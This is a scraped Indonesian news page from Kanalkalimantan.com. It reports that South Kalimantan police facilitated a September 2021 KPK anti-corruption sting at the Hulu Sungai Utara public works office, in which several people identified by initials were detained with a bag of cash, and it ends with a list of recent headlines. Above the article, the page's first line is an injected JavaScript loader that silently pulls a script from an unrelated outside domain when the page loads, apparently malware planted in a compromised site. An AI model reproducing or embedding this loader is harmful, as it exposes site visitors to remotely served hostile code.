(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Polda Kalsel Sudah Ketahui Adanya Operasi Tangkap Tangan KPK di HSU


KANALKALIMANTAN.COM, BANJARMASIN – Polda Kalsel ternyata sudah mengetahui rencana Operasi Tangkap Tangan (OTT) KPK yang berlangsung di Kabupaten Hulu Sungai Utara (HSU), Rabu (15/9/2021) malam.

Hal tersebut disampaikan Kapolda Kalsel Irjen Pol Rikwanto, yang mengatakan pihaknya telah menyediakan tempat bagi para petugas KPK di Polres HSU pasca penangkapan tersebut.

“Kita tidak terlibat langsung, tetapi hanya memfasilitasi. KPK sebelumnya minta satu ruangan di Polres HSU untuk memeriksa orang yang ditangkap,” kata Irjen Pol Rikwanto, Kamis (16/9) siang, saat dihubungi wartawan.

Sebelumnya, Plt Dinas PU HSU ditangkap KPK dalam sebuah OTT di Amuntai pada Rabu (15/9/2021) malam. Kabar penangkapan tersebut dibenarkan Pelaksana Tugas Juru Bicara KPK Ali Fikri saat dikonfirmasi wartawan di Jakarta.

 

 

Baca juga: Pasca Penangkapan, KPK Segel Ruang Kepala Dinas PU HSU

“Benar, tim KPK berhasil mengamankan beberapa pihak dalam kegiatan tangkap tangan terkait dugaan tindak pidana korupsi di wilayah Kalimantan Selatan,” ujar Ali dilansir Suara.com -jaringan Kanalkalimantan.com-, Kamis (16/9/2021).

Ali mengatakan, saat ini tim KPK dan pihak yang diamankan dibawa ke Jakarta untuk dilakukan permintaan keterangan.

Ali menyebut sejumlah pihak yang diamankan kini sudah berada di Gedung Merah Putih KPK untuk diperiksa secara mendalam. Namun, Ali belum dapat menyampaikan detail kasus atau siapa saja pihak yang ditangkap.

“KPK memiliki waktu 1×24 jam untuk menentukan sikap dari hasil pemeriksaan yang masih berlangsung saat ini,” ujar Ali.

Namun demikian, informasi yang dihimpun Kanalkalimantan.com, sejumlah orang ditangkap saat melakukan pertemuan di ruang Dinas Pekerjaan Umum Penataaan Ruang dan Pertanahan HSU.

Sejumlah inisial yang diamankan disebutkan adalah MI (PNS), MR (PNS), LT (PNS), MN (belum terkonfirmasi) dan FR (swasta). Dalam OTT tersebut turun diamankan barang bukti tas kresek berisi uang yang diduga terkait dengan proyek yang akan dikerjakan. (kanalkalimantan.com/kk)

Reporter: kk
Editor: cell


Risa

Recent Posts

Kontrol Overpopulasi Kucing Beranak Pinak di Banjarbaru, 150 Pejantan Dikebiri

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More

27 menit ago

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

1 jam ago

Serang Markas Polisi di Kobar Kalteng, Empat Lelaki Diringkus

KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More

2 jam ago

Pj Bupati Kapuas Perpisahan dengan Dua Pejabat Purna Tugas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More

3 jam ago

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

18 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

21 jam ago

This website uses cookies.